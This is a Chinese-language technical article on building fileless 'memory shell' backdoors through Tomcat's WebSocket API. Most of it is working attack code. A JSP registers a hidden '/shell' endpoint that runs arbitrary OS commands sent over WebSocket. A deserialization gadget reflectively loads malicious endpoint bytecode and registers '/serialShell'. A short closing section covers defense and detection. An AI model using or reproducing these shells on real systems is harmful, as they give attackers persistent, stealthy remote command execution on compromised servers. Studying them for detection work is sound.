Tomct-WebSocket内存马
字数 1104 2025-08-06 08:35:03
Tomcat WebSocket内存马技术分析与实现
0x00 WebSocket协议基础
WebSocket核心特性
- 全双工通信:允许客户端和服务器同时发送和接收数据
- 持久连接:建立后保持打开状态,不同于HTTP的短连接
- 低开销:头部信息较小,减少数据传输负担
- 协议切换:通过HTTP握手后升级为WebSocket协议
- 安全支持:支持TLS/SSL加密(wss://)
与HTTP协议对比
| 特性 | HTTP | WebSocket |
|---|---|---|
| 连接方式 | 短连接 | 持久连接 |
| 通信模式 | 请求-响应 | 全双工双向通信 |
| 头部大小 | 较大 | 较小 |
| 端口 | 80/443 | 复用80/443 |
0x01 Tomcat WebSocket实现机制
环境要求
- Tomcat 7+版本支持
- 依赖jar包:
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-websocket</artifactId>
<version>8.5.73</version>
</dependency>
两种实现方式
1. 注解方式(@ServerEndpoint)
@ServerEndpoint("/example")
public class AnnotatedEndpoint {
@OnMessage
public String onMessage(String message) {
return "Echo: " + message;
}
}
2. 编程方式(继承Endpoint)
public class ProgrammaticEndpoint extends Endpoint {
@Override
public void onOpen(Session session, EndpointConfig config) {
session.addMessageHandler(new MessageHandler.Whole<String>() {
@Override
public void onMessage(String message) {
try {
session.getBasicRemote().sendText("Received: " + message);
} catch (IOException e) {
e.printStackTrace();
}
}
});
}
}
注册端点
通过ServletContextListener实现自动注册:
public class WsConfig implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sce) {
ServerContainer container = (ServerContainer) sce.getServletContext()
.getAttribute("javax.websocket.server.ServerContainer");
ServerEndpointConfig config = ServerEndpointConfig.Builder
.create(ProgrammaticEndpoint.class, "/programmatic")
.build();
try {
container.addEndpoint(config);
} catch (DeploymentException e) {
e.printStackTrace();
}
}
}
0x02 WebSocket内存马实现
JSP注入方式
<%@ page import="javax.websocket.*, javax.websocket.server.*, java.io.*" %>
<%!
public static class WsMemShell extends Endpoint {
private Session session;
@Override
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(new MessageHandler.Whole<String>() {
@Override
public void onMessage(String cmd) {
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(
new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
}
p.waitFor();
session.getBasicRemote().sendText(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
}
%>
<%
ServerContainer container = (ServerContainer) request.getServletContext()
.getAttribute("javax.websocket.server.ServerContainer");
ServerEndpointConfig config = ServerEndpointConfig.Builder
.create(WsMemShell.class, "/shell")
.build();
try {
container.addEndpoint(config);
out.println("WebSocket内存马注入成功!");
} catch (Exception e) {
out.println("注入失败: " + e.getMessage());
}
%>
反序列化注入方式
public class WsSerializedShell extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
static {
try {
// 预编译的恶意Endpoint类字节码
byte[] endpointBytes = new byte[]{-54, -2, -70, -66, ...};
// 动态加载类
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class endpointClass = (Class) defineClass.invoke(
Thread.currentThread().getContextClassLoader(),
endpointBytes, 0, endpointBytes.length);
// 获取ServerContainer并注册端点
ServerContainer container = (ServerContainer) ((WebappClassLoaderBase)
Thread.currentThread().getContextClassLoader())
.getResources().getContext()
.getServletContext()
.getAttribute("javax.websocket.server.ServerContainer");
container.addEndpoint(ServerEndpointConfig.Builder
.create(endpointClass, "/serialShell")
.build());
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) {}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
}
0x03 Tomcat WebSocket核心机制分析
初始化流程
- WsSci入口:Tomcat通过
org.apache.tomcat.websocket.server.WsSci类初始化WebSocket - 容器创建:初始化
WsServerContainer并存入ServletContext属性 - 端点扫描:分类处理三种WebSocket实现:
@ServerEndpoint注解类Endpoint子类ServerApplicationConfig实现类
关键方法调用链
StandardContext.startInternal()
→ WsSci.onStartup()
→ WsServerContainer.init()
→ 分类处理端点类
→ WsServerContainer.addEndpoint()
端点注册核心逻辑
// WsServerContainer.addEndpoint()关键代码
public void addEndpoint(ServerEndpointConfig sec, boolean fromAnnotatedPojo) {
// 1. 获取路径并创建URI模板
String path = sec.getPath();
UriTemplate uriTemplate = new UriTemplate(path);
// 2. 处理方法映射(POJO方式)
PojoMethodMapping methodMapping = new PojoMethodMapping(
sec.getEndpointClass(), sec.getDecoders(), path, instanceManager);
// 3. 根据URI参数情况选择不同存储结构
if (uriTemplate.hasParameters()) {
// 使用ConcurrentSkipListMap存储带参数的URI
ConcurrentSkipListMap<String,TemplatePathMatch> templateMatches = ...;
templateMatches.put(uriTemplate.getNormalizedPath(),
new TemplatePathMatch(sec, uriTemplate, fromAnnotatedPojo));
} else {
// 使用普通Map存储精确匹配的URI
configExactMatchMap.put(path,
new ExactPathMatch(sec, fromAnnotatedPojo));
}
}
0x04 防御与检测
防御措施
- 禁用不必要的WebSocket支持:
<Context> <ContainerSciFilter> <Filter className="org.apache.tomcat.websocket.server.WsSci"/> </ContainerSciFilter> </Context> - 严格权限控制:限制动态类加载和反射操作
- 输入验证:对所有WebSocket消息进行严格验证
检测方法
- 检查异常端点:
ServerContainer container = (ServerContainer) servletContext .getAttribute("javax.websocket.server.ServerContainer"); // 检查container中的注册端点 - 监控内存类:检测动态加载的类
- 流量分析:识别异常的WebSocket通信模式